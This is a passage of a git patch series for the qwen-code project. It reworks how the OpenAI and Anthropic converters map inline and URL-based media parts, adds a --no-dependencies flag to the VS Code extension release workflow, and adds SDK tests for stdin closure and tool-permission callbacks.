file_data: string }; + image_url?: { url: string }; }>; expect(contentArray).toHaveLength(2); expect(contentArray[0].type).toBe('text'); expect(contentArray[0].text).toBe('File content'); - expect(contentArray[1].type).toBe('file'); - expect(contentArray[1].file?.filename).toBe('file'); // Default filename when displayName not provided - expect(contentArray[1].file?.file_data).toBe( - 'data:image/jpeg;base64,base64imagedata', - ); + expect(contentArray[1].type).toBe('image_url'); + expect(contentArray[1].image_url?.url).toBe('base64imagedata'); // No separate user message should be created const userMessage = messages.find((message) => message.role === 'user'); expect(userMessage).toBeUndefined(); }); - it('should convert PDF fileData to tool message with embedded input_file', () => { + it('should convert PDF inlineData to tool message with embedded input_file', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ @@ -323,9 +320,9 @@ describe('OpenAIContentConverter', () => { response: { output: 'PDF content' }, parts: [ { - fileData: { + inlineData: { mimeType: 'application/pdf', - fileUri: 'base64pdfdata', + data: 'base64pdfdata', displayName: 'document.pdf', }, }, @@ -426,6 +423,127 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); + it('should convert image fileData URL to tool message with embedded image_url', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'Image content' }, + parts: [ + { + fileData: { + mimeType: 'image/jpeg', + fileUri: + 'https://upload.wikimedia.org/wikipedia/commons/a/a7/Camponotus_flavomarginatus_ant.jpg', + displayName: 'ant.jpg', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + image_url?: { url: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Image content'); + expect(contentArray[1].type).toBe('image_url'); + expect(contentArray[1].image_url?.url).toBe( + 'https://upload.wikimedia.org/wikipedia/commons/a/a7/Camponotus_flavomarginatus_ant.jpg', + ); + }); + + it('should convert PDF fileData URL to tool message with embedded file', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'PDF content' }, + parts: [ + { + fileData: { + mimeType: 'application/pdf', + fileUri: + 'https://assets.anthropic.com/m/1cd9d098ac3e6467/original/Claude-3-Model-Card-October-Addendum.pdf', + displayName: 'document.pdf', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + file?: { filename: string; file_data: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('PDF content'); + expect(contentArray[1].type).toBe('file'); + expect(contentArray[1].file?.filename).toBe('document.pdf'); + expect(contentArray[1].file?.file_data).toBe( + 'https://assets.anthropic.com/m/1cd9d098ac3e6467/original/Claude-3-Model-Card-October-Addendum.pdf', + ); + }); + it('should convert video parts to tool message with embedded file', () => { const request: GenerateContentParameters = { model: 'models/test', diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index 15012be7f..5f756410d 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -602,27 +602,49 @@ export class OpenAIContentConverter { }, }; } + if (mediaType === 'file') { + const filename = part.inlineData.displayName || 'file'; + return { + type: 'file' as const, + file: { + filename, + file_data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, + }, + }; + } } if (part.fileData?.mimeType && part.fileData?.fileUri) { const filename = part.fileData.displayName || 'file'; const fileUri = part.fileData.fileUri; + const mimeType = part.fileData.mimeType; + const mediaType = this.getMediaType(mimeType); - if (fileUri.startsWith('data:')) { + if (mediaType === 'image') { return { - type: 'file' as const, - file: { - filename, - file_data: fileUri, - }, + type: 'image_url' as const, + image_url: { url: fileUri }, }; } + if (mediaType === 'audio') { + const format = this.getAudioFormat(mimeType); + if (format) { + return { + type: 'input_audio' as const, + input_audio: { + data: fileUri, + format, + }, + }; + } + } + return { type: 'file' as const, file: { filename, - file_data: `data:${part.fileData.mimeType};base64,${fileUri}`, + file_data: fileUri, }, }; } diff --git a/packages/core/src/tools/read-file.test.ts b/packages/core/src/tools/read-file.test.ts index 17ce30763..4972f26e7 100644 --- a/packages/core/src/tools/read-file.test.ts +++ b/packages/core/src/tools/read-file.test.ts @@ -302,8 +302,8 @@ describe('ReadFileTool', () => { const result = await invocation.execute(abortSignal); expect(result.llmContent).toEqual({ - fileData: { - fileUri: pdfHeader.toString('base64'), + inlineData: { + data: pdfHeader.toString('base64'), mimeType: 'application/pdf', displayName: 'document.pdf', }, diff --git a/packages/core/src/tools/read-many-files.test.ts b/packages/core/src/tools/read-many-files.test.ts index ec20db671..f755abecc 100644 --- a/packages/core/src/tools/read-many-files.test.ts +++ b/packages/core/src/tools/read-many-files.test.ts @@ -436,15 +436,15 @@ describe('ReadManyFilesTool', () => { ); }); - it('should include PDF files as fileData parts if explicitly requested by extension', async () => { + it('should include PDF files as inlineData parts if explicitly requested by extension', async () => { createBinaryFile('important.pdf', Buffer.from('%PDF-1.4...')); const params = { paths: ['*.pdf'] }; // Explicitly requesting .pdf files const invocation = tool.build(params); const result = await invocation.execute(new AbortController().signal); expect(result.llmContent).toEqual([ { - fileData: { - fileUri: Buffer.from('%PDF-1.4...').toString('base64'), + inlineData: { + data: Buffer.from('%PDF-1.4...').toString('base64'), mimeType: 'application/pdf', displayName: 'important.pdf', }, @@ -453,15 +453,15 @@ describe('ReadManyFilesTool', () => { ]); }); - it('should include PDF files as fileData parts if explicitly requested by name', async () => { + it('should include PDF files as inlineData parts if explicitly requested by name', async () => { createBinaryFile('report-final.pdf', Buffer.from('%PDF-1.4...')); const params = { paths: ['report-final.pdf'] }; const invocation = tool.build(params); const result = await invocation.execute(new AbortController().signal); expect(result.llmContent).toEqual([ { - fileData: { - fileUri: Buffer.from('%PDF-1.4...').toString('base64'), + inlineData: { + data: Buffer.from('%PDF-1.4...').toString('base64'), mimeType: 'application/pdf', displayName: 'report-final.pdf', }, diff --git a/packages/core/src/utils/fileUtils.test.ts b/packages/core/src/utils/fileUtils.test.ts index 92a43e2b7..da9f257fd 100644 --- a/packages/core/src/utils/fileUtils.test.ts +++ b/packages/core/src/utils/fileUtils.test.ts @@ -747,19 +747,18 @@ describe('fileUtils', () => { mockConfig, ); expect( - (result.llmContent as { fileData: unknown }).fileData, + (result.llmContent as { inlineData: unknown }).inlineData, ).toBeDefined(); expect( - (result.llmContent as { fileData: { mimeType: string } }).fileData + (result.llmContent as { inlineData: { mimeType: string } }).inlineData .mimeType, ).toBe('application/pdf'); expect( - (result.llmContent as { fileData: { fileUri: string } }).fileData - .fileUri, + (result.llmContent as { inlineData: { data: string } }).inlineData.data, ).toBe(fakePdfData.toString('base64')); expect( - (result.llmContent as { fileData: { displayName?: string } }).fileData - .displayName, + (result.llmContent as { inlineData: { displayName?: string } }) + .inlineData.displayName, ).toBe('document.pdf'); expect(result.returnDisplay).toContain('Read pdf file: document.pdf'); }); diff --git a/packages/core/src/utils/fileUtils.ts b/packages/core/src/utils/fileUtils.ts index 70f207757..76b8acc09 100644 --- a/packages/core/src/utils/fileUtils.ts +++ b/packages/core/src/utils/fileUtils.ts @@ -458,7 +458,8 @@ export async function processSingleFileContent( } case 'image': case 'audio': - case 'video': { + case 'video': + case 'pdf': { const contentBuffer = await fs.promises.readFile(filePath); const base64Data = contentBuffer.toString('base64'); return { @@ -472,20 +473,6 @@ export async function processSingleFileContent( returnDisplay: `Read ${fileType} file: ${relativePathForDisplay}`, }; } - case 'pdf': { - const contentBuffer = await fs.promises.readFile(filePath); - const base64Data = contentBuffer.toString('base64'); - return { - llmContent: { - fileData: { - fileUri: base64Data, - mimeType: mime.getType(filePath) || 'application/octet-stream', - displayName, - }, - }, - returnDisplay: `Read ${fileType} file: ${relativePathForDisplay}`, - }; - } default: { // Should not happen with current detectFileType logic const exhaustiveCheck: never = fileType; From ac9d3588cf503b0fc2485d3d209a8dd55ecd44db Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Thu, 22 Jan 2026 20:01:43 +0800 Subject: [PATCH 17/79] chore: update error msg --- .../converter.test.ts | 4 +- .../anthropicContentGenerator/converter.ts | 11 +- .../openaiContentGenerator/converter.test.ts | 178 +++++++++++++++++- .../core/openaiContentGenerator/converter.ts | 82 +++++--- 4 files changed, 232 insertions(+), 43 deletions(-) diff --git a/packages/core/src/core/anthropicContentGenerator/converter.test.ts b/packages/core/src/core/anthropicContentGenerator/converter.test.ts index 95e5863eb..7d7f31662 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.test.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.test.ts @@ -302,7 +302,7 @@ describe('AnthropicContentConverter', () => { }); expect(toolResult.content[1]?.type).toBe('text'); expect(toolResult.content[1]?.text).toContain( - 'Unsupported inline media type for Anthropic', + 'Unsupported inline media type', ); expect(toolResult.content[1]?.text).toContain('audio/mpeg'); }); @@ -499,7 +499,7 @@ describe('AnthropicContentConverter', () => { }); expect(toolResult.content[1]?.type).toBe('text'); expect(toolResult.content[1]?.text).toContain( - 'Unsupported file media for Anthropic', + 'Unsupported file media type', ); expect(toolResult.content[1]?.text).toContain('application/zip'); expect(toolResult.content[1]?.text).toContain('archive.zip'); diff --git a/packages/core/src/core/anthropicContentGenerator/converter.ts b/packages/core/src/core/anthropicContentGenerator/converter.ts index 5128bd559..4aade511b 100644 --- a/packages/core/src/core/anthropicContentGenerator/converter.ts +++ b/packages/core/src/core/anthropicContentGenerator/converter.ts @@ -351,7 +351,7 @@ export class AnthropicContentConverter { : ''; return { type: 'text', - text: `Unsupported inline media type for Anthropic: ${part.inlineData.mimeType}${displayName}.`, + text: `Unsupported inline media type: ${part.inlineData.mimeType}${displayName}.`, }; } @@ -361,13 +361,6 @@ export class AnthropicContentConverter { : ''; const fileUri = part.fileData.fileUri; - if (!fileUri.startsWith('https://') && !fileUri.startsWith('http://')) { - return { - type: 'text', - text: `Unsupported file URI for Anthropic: ${part.fileData.mimeType}${displayName}.`, - }; - } - if (this.isSupportedAnthropicImageMimeType(part.fileData.mimeType)) { return { type: 'image', @@ -390,7 +383,7 @@ export class AnthropicContentConverter { return { type: 'text', - text: `Unsupported file media for Anthropic: ${part.fileData.mimeType}${displayName}.`, + text: `Unsupported file media type: ${part.fileData.mimeType}${displayName}.`, }; } diff --git a/packages/core/src/core/openaiContentGenerator/converter.test.ts b/packages/core/src/core/openaiContentGenerator/converter.test.ts index f861e5aaa..1c6a9c09b 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.test.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.test.ts @@ -544,7 +544,7 @@ describe('OpenAIContentConverter', () => { ); }); - it('should convert video parts to tool message with embedded file', () => { + it('should convert video inlineData to tool message with embedded file', () => { const request: GenerateContentParameters = { model: 'models/test', contents: [ @@ -609,6 +609,182 @@ describe('OpenAIContentConverter', () => { expect(userMessage).toBeUndefined(); }); + it('should convert video fileData URL to tool message with embedded file', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'Video content' }, + parts: [ + { + fileData: { + mimeType: 'video/mp4', + fileUri: 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', + displayName: 'recording.mp4', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + file?: { filename: string; file_data: string }; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('Video content'); + expect(contentArray[1].type).toBe('file'); + expect(contentArray[1].file?.filename).toBe('recording.mp4'); + expect(contentArray[1].file?.file_data).toBe( + 'https://www.youtube.com/watch?v=dQw4w9WgXcQ', + ); + }); + + it('should render unsupported inlineData file types as a text block', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'File content' }, + parts: [ + { + inlineData: { + mimeType: 'application/zip', + data: 'base64zipdata', + displayName: 'archive.zip', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('File content'); + expect(contentArray[1].type).toBe('text'); + expect(contentArray[1].text).toContain('Unsupported inline media type'); + expect(contentArray[1].text).toContain('application/zip'); + expect(contentArray[1].text).toContain('archive.zip'); + }); + + it('should render unsupported fileData types (including audio) as a text block', () => { + const request: GenerateContentParameters = { + model: 'models/test', + contents: [ + { + role: 'model', + parts: [ + { + functionCall: { + id: 'call_1', + name: 'Read', + args: {}, + }, + }, + ], + }, + { + role: 'user', + parts: [ + { + functionResponse: { + id: 'call_1', + name: 'Read', + response: { output: 'File content' }, + parts: [ + { + fileData: { + mimeType: 'audio/mpeg', + fileUri: 'https://example.com/audio.mp3', + displayName: 'audio.mp3', + }, + }, + ], + }, + }, + ], + }, + ], + }; + + const messages = converter.convertGeminiRequestToOpenAI(request); + + const toolMessage = messages.find((message) => message.role === 'tool'); + expect(toolMessage).toBeDefined(); + expect(Array.isArray(toolMessage?.content)).toBe(true); + const contentArray = toolMessage?.content as Array<{ + type: string; + text?: string; + }>; + expect(contentArray).toHaveLength(2); + expect(contentArray[0].type).toBe('text'); + expect(contentArray[0].text).toBe('File content'); + expect(contentArray[1].type).toBe('text'); + expect(contentArray[1].text).toContain('Unsupported file media type'); + expect(contentArray[1].text).toContain('audio/mpeg'); + expect(contentArray[1].text).toContain('audio.mp3'); + }); + it('should create tool message with text-only content when no media parts', () => { const request = createRequestWithFunctionResponse({ output: 'Plain text output', diff --git a/packages/core/src/core/openaiContentGenerator/converter.ts b/packages/core/src/core/openaiContentGenerator/converter.ts index 5f756410d..d98eeac76 100644 --- a/packages/core/src/core/openaiContentGenerator/converter.ts +++ b/packages/core/src/core/openaiContentGenerator/converter.ts @@ -572,46 +572,58 @@ export class OpenAIContentConverter { */ private createMediaContentPart(part: Part): OpenAIContentPart | null { if (part.inlineData?.mimeType && part.inlineData?.data) { - const mediaType = this.getMediaType(part.inlineData.mimeType); + const mimeType = part.inlineData.mimeType; + const mediaType = this.getMediaType(mimeType); if (mediaType === 'image') { - const dataUrl = `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`; + const dataUrl = `data:${mimeType};base64,${part.inlineData.data}`; return { type: 'image_url' as const, image_url: { url: dataUrl }, }; } + + if (mimeType === 'application/pdf') { + const filename = part.inlineData.displayName || 'document.pdf'; + return { + type: 'file' as const, + file: { + filename, + file_data: `data:${mimeType};base64,${part.inlineData.data}`, + }, + }; + } + if (mediaType === 'audio') { - const format = this.getAudioFormat(part.inlineData.mimeType); + const format = this.getAudioFormat(mimeType); if (format) { return { type: 'input_audio' as const, input_audio: { - data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, + data: `data:${mimeType};base64,${part.inlineData.data}`, format, }, }; } } + if (mediaType === 'video') { const filename = part.inlineData.displayName || 'video'; return { type: 'file' as const, file: { filename, - file_data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, - }, - }; - } - if (mediaType === 'file') { - const filename = part.inlineData.displayName || 'file'; - return { - type: 'file' as const, - file: { - filename, - file_data: `data:${part.inlineData.mimeType};base64,${part.inlineData.data}`, + file_data: `data:${mimeType};base64,${part.inlineData.data}`, }, }; } + + const displayName = part.inlineData.displayName + ? ` (${part.inlineData.displayName})` + : ''; + return { + type: 'text' as const, + text: `Unsupported inline media type: ${mimeType}${displayName}.`, + }; } if (part.fileData?.mimeType && part.fileData?.fileUri) { @@ -627,25 +639,33 @@ export class OpenAIContentConverter { }; } - if (mediaType === 'audio') { - const format = this.getAudioFormat(mimeType); - if (format) { - return { - type: 'input_audio' as const, - input_audio: { - data: fileUri, - format, - }, - }; - } + if (mimeType === 'application/pdf') { + return { + type: 'file' as const, + file: { + filename, + file_data: fileUri, + }, + }; } + if (mediaType === 'video') { + const videoFilename = part.fileData.displayName || 'video'; + return { + type: 'file' as const, + file: { + filename: videoFilename, + file_data: fileUri, + }, + }; + } + + const displayName = part.fileData.displayName + ? ` (${part.fileData.displayName})` + : ''; return { - type: 'file' as const, - file: { - filename, - file_data: fileUri, - }, + type: 'text' as const, + text: `Unsupported file media type: ${mimeType}${displayName}.`, }; } From c2fbccc0026e4add04978380a8ed870f8aecc49e Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Fri, 23 Jan 2026 09:58:08 +0800 Subject: [PATCH 18/79] ci(vscode-ide-companion): add --no-dependencies flag to vsce package commands Fix release workflow failing due to npm dependency validation errors in monorepo setup where packages are hoisted to root node_modules. --- .github/workflows/release-vscode-companion.yml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/.github/workflows/release-vscode-companion.yml b/.github/workflows/release-vscode-companion.yml index 97d37f403..a942964f0 100644 --- a/.github/workflows/release-vscode-companion.yml +++ b/.github/workflows/release-vscode-companion.yml @@ -151,9 +151,9 @@ jobs: working-directory: 'packages/vscode-ide-companion' run: |- if [[ "${{ steps.vars.outputs.is_preview }}" == "true" ]]; then - vsce package --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + vsce package --no-dependencies --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix else - vsce package --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + vsce package --no-dependencies --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix fi - name: 'Upload VSIX Artifact (dry run)' @@ -187,11 +187,11 @@ jobs: if [[ "${{ steps.vars.outputs.is_preview }}" == "true" ]]; then # For preview releases, publish with preview tag # First package the extension for preview - vsce package --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + vsce package --no-dependencies --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix ovsx publish ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix --pat "${OVSX_TOKEN}" --pre-release else # Package and publish normally - vsce package --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + vsce package --no-dependencies --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix ovsx publish ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix --pat "${OVSX_TOKEN}" --tag "${VSCODE_TAG}" fi From f578ff07a20f85a1992c16053ec6b3f3277a3948 Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Fri, 23 Jan 2026 13:56:38 +0800 Subject: [PATCH 19/79] fix: cli input stream handling and error management, improve e2e and unit tests --- .../abort-and-lifecycle.test.ts | 157 ++++++++++++ .../sdk-typescript/tool-control.test.ts | 232 ++++++++++++++++- .../nonInteractive/control/ControlContext.ts | 3 + .../control/ControlDispatcher.test.ts | 125 ++++++++++ .../control/ControlDispatcher.ts | 32 ++- .../control/controllers/baseController.ts | 5 + .../controllers/permissionController.ts | 18 +- .../cli/src/nonInteractive/session.test.ts | 2 + packages/cli/src/nonInteractive/session.ts | 9 +- packages/sdk-typescript/src/query/Query.ts | 32 ++- .../src/transport/ProcessTransport.ts | 36 ++- .../test/unit/ProcessTransport.test.ts | 7 +- .../sdk-typescript/test/unit/Query.test.ts | 233 ++++++++---------- 13 files changed, 741 insertions(+), 150 deletions(-) diff --git a/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts b/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts index 93005d4b7..e28e9046d 100644 --- a/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts +++ b/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts @@ -11,8 +11,10 @@ import { AbortError, isAbortError, isSDKAssistantMessage, + isSDKResultMessage, type TextBlock, type ContentBlock, + type SDKUserMessage, } from '@qwen-code/sdk'; import { SDKTestHelper, createSharedTestOptions } from './test-helper.js'; @@ -250,6 +252,161 @@ describe('AbortController and Process Lifecycle (E2E)', () => { }); }); + describe('Closed stdin behavior (asyncGenerator prompt)', () => { + it('should reject control requests after stdin closes', async () => { + async function* createPrompt(): AsyncIterable { + yield { + type: 'user', + session_id: crypto.randomUUID(), + message: { + role: 'user', + content: 'Say "OK".', + }, + parent_tool_use_id: null, + }; + } + + const q = query({ + prompt: createPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + debug: false, + }, + }); + + let firstResultReceived = false; + + try { + for await (const message of q) { + if (isSDKResultMessage(message)) { + firstResultReceived = true; + break; + } + } + + expect(firstResultReceived).toBe(true); + + await new Promise((resolve) => setTimeout(resolve, 50)); + + await expect(q.setPermissionMode('default')).rejects.toThrow( + 'Input stream closed', + ); + } finally { + await q.close(); + } + }); + + it('should handle control responses when stdin closes before replies', async () => { + await helper.createFile('test.txt', 'original content'); + + let canUseToolCalledResolve: () => void = () => {}; + const canUseToolCalledPromise = new Promise((resolve, reject) => { + canUseToolCalledResolve = resolve; + setTimeout(() => { + reject(new Error('canUseTool callback not called')); + }, 15000); + }); + + let inputStreamDoneResolve: () => void = () => {}; + const inputStreamDonePromise = new Promise((resolve, reject) => { + inputStreamDoneResolve = resolve; + setTimeout(() => { + reject(new Error('inputStreamDonePromise timeout')); + }, 15000); + }); + + let firstResultResolve: () => void = () => {}; + const firstResultPromise = new Promise((resolve) => { + firstResultResolve = resolve; + }); + + let secondResultResolve: () => void = () => {}; + const secondResultPromise = new Promise((resolve, reject) => { + secondResultResolve = resolve; + }); + + async function* createPrompt(): AsyncIterable { + const sessionId = crypto.randomUUID(); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Say "OK".', + }, + parent_tool_use_id: null, + }; + + await firstResultPromise; + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Write "updated" to test.txt.', + }, + parent_tool_use_id: null, + }; + await inputStreamDonePromise; + } + + const q = query({ + prompt: createPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + permissionMode: 'default', + coreTools: ['read_file', 'write_file'], + canUseTool: async (toolName, input) => { + inputStreamDoneResolve(); + await new Promise((resolve) => setTimeout(resolve, 1000)); + canUseToolCalledResolve(); + + return { + behavior: 'allow', + updatedInput: input, + }; + }, + debug: false, + }, + }); + + try { + const loop = async () => { + let resultCount = 0; + for await (const _message of q) { + console.log(JSON.stringify(_message, null, 2)); + // Consume messages until completion. + if (isSDKResultMessage(_message)) { + resultCount += 1; + if (resultCount === 1) { + firstResultResolve(); + } + if (resultCount === 2) { + secondResultResolve(); + break; + } + } + } + }; + + loop(); + + await firstResultPromise; + await canUseToolCalledPromise; + await secondResultPromise; + + const content = await helper.readFile('test.txt'); + expect(content).toBe('original content'); + } finally { + await q.close(); + } + }); + }); + describe('Error Handling and Recovery', () => { it('should handle invalid executable path', async () => { try { diff --git a/integration-tests/sdk-typescript/tool-control.test.ts b/integration-tests/sdk-typescript/tool-control.test.ts index 549f820c0..90819aad1 100644 --- a/integration-tests/sdk-typescript/tool-control.test.ts +++ b/integration-tests/sdk-typescript/tool-control.test.ts @@ -12,7 +12,12 @@ */ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; -import { query, isSDKAssistantMessage, type SDKMessage } from '@qwen-code/sdk'; +import { + query, + isSDKAssistantMessage, + type SDKMessage, + type SDKUserMessage, +} from '@qwen-code/sdk'; import { SDKTestHelper, extractText, @@ -739,4 +744,229 @@ describe('Tool Control Parameters (E2E)', () => { TEST_TIMEOUT, ); }); + + describe('canUseTool with asyncGenerator prompt', () => { + it( + 'should invoke canUseTool callback when using asyncGenerator as prompt', + async () => { + await helper.createFile('test.txt', 'original content'); + + const canUseToolCalls: Array<{ + toolName: string; + input: Record; + }> = []; + + // Create an async generator that yields a single message + async function* createPrompt(): AsyncIterable { + yield { + type: 'user', + session_id: crypto.randomUUID(), + message: { + role: 'user', + content: 'Read test.txt and then write "updated" to it.', + }, + parent_tool_use_id: null, + }; + + await new Promise((resolve) => setTimeout(resolve, 3000)); + } + + const q = query({ + prompt: createPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + permissionMode: 'default', + coreTools: ['read_file', 'write_file'], + allowedTools: [], + canUseTool: async (toolName, input) => { + canUseToolCalls.push({ toolName, input }); + return { + behavior: 'allow', + updatedInput: input, + }; + }, + debug: false, + }, + }); + + const messages: SDKMessage[] = []; + + try { + for await (const message of q) { + messages.push(message); + } + + const toolCalls = findToolCalls(messages); + const toolNames = toolCalls.map((tc) => tc.toolUse.name); + + // Both tools should have been executed + expect(toolNames).toContain('read_file'); + expect(toolNames).toContain('write_file'); + + const toolsCalledInCallback = canUseToolCalls.map( + (call) => call.toolName, + ); + expect(toolsCalledInCallback).toContain('write_file'); + + const writeFileResults = findToolResults(messages, 'write_file'); + expect(writeFileResults.length).toBeGreaterThan(0); + + // Verify file was modified + const content = await helper.readFile('test.txt'); + expect(content).toBe('updated'); + } finally { + await q.close(); + } + }, + TEST_TIMEOUT, + ); + + it( + 'should deny tool when canUseTool returns deny with asyncGenerator prompt', + async () => { + await helper.createFile('test.txt', 'original content'); + + // Create an async generator that yields a single message + async function* createPrompt(): AsyncIterable { + yield { + type: 'user', + session_id: crypto.randomUUID(), + message: { + role: 'user', + content: 'Write "modified" to test.txt.', + }, + parent_tool_use_id: null, + }; + await new Promise((resolve) => setTimeout(resolve, 3000)); + } + + const q = query({ + prompt: createPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + permissionMode: 'default', + coreTools: ['read_file', 'write_file'], + canUseTool: async (toolName) => { + if (toolName === 'write_file') { + return { + behavior: 'deny', + message: 'Write operations are not allowed', + }; + } + return { behavior: 'allow', updatedInput: {} }; + }, + debug: false, + }, + }); + + const messages: SDKMessage[] = []; + + try { + for await (const message of q) { + messages.push(message); + } + + // write_file should have been attempted but stream was closed + const writeFileResults = findToolResults(messages, 'write_file'); + expect(writeFileResults.length).toBeGreaterThan(0); + for (const result of writeFileResults) { + expect(result.content).toContain( + '[Operation Cancelled] Reason: Write operations are not allowed', + ); + } + + // File content should remain unchanged (because write was denied) + const content = await helper.readFile('test.txt'); + expect(content).toBe('original content'); + } finally { + await q.close(); + } + }, + TEST_TIMEOUT, + ); + + it( + 'should support multi-turn conversation with canUseTool using asyncGenerator', + async () => { + await helper.createFile('data.txt', 'initial data'); + + const canUseToolCalls: string[] = []; + + // Create an async generator that yields multiple messages + async function* createMultiTurnPrompt(): AsyncIterable { + const sessionId = crypto.randomUUID(); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Read data.txt and tell me what it contains.', + }, + parent_tool_use_id: null, + }; + + // Small delay to simulate multi-turn conversation + await new Promise((resolve) => setTimeout(resolve, 100)); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Now append " - updated" to the file content.', + }, + parent_tool_use_id: null, + }; + } + + const q = query({ + prompt: createMultiTurnPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + permissionMode: 'default', + coreTools: ['read_file', 'write_file'], + canUseTool: async (toolName) => { + canUseToolCalls.push(toolName); + return { behavior: 'allow', updatedInput: {} }; + }, + debug: false, + }, + }); + + const messages: SDKMessage[] = []; + + try { + for await (const message of q) { + messages.push(message); + } + + const toolCalls = findToolCalls(messages); + const toolNames = toolCalls.map((tc) => tc.toolUse.name); + + // Should have read_file and write_file calls + expect(toolNames).toContain('read_file'); + expect(toolNames).toContain('write_file'); + + // canUseTool should not be called once stream is closed + expect(canUseToolCalls).toHaveLength(0); + + const writeFileResults = findToolResults(messages, 'write_file'); + expect(writeFileResults.length).toBeGreaterThan(0); + for (const result of writeFileResults) { + expect(result.content).toContain('Error: Input closed'); + } + + const content = await helper.readFile('data.txt'); + expect(content).toBe('initial data'); + } finally { + await q.close(); + } + }, + TEST_TIMEOUT, + ); + }); }); diff --git a/packages/cli/src/nonInteractive/control/ControlContext.ts b/packages/cli/src/nonInteractive/control/ControlContext.ts index aa650d227..c68ef346d 100644 --- a/packages/cli/src/nonInteractive/control/ControlContext.ts +++ 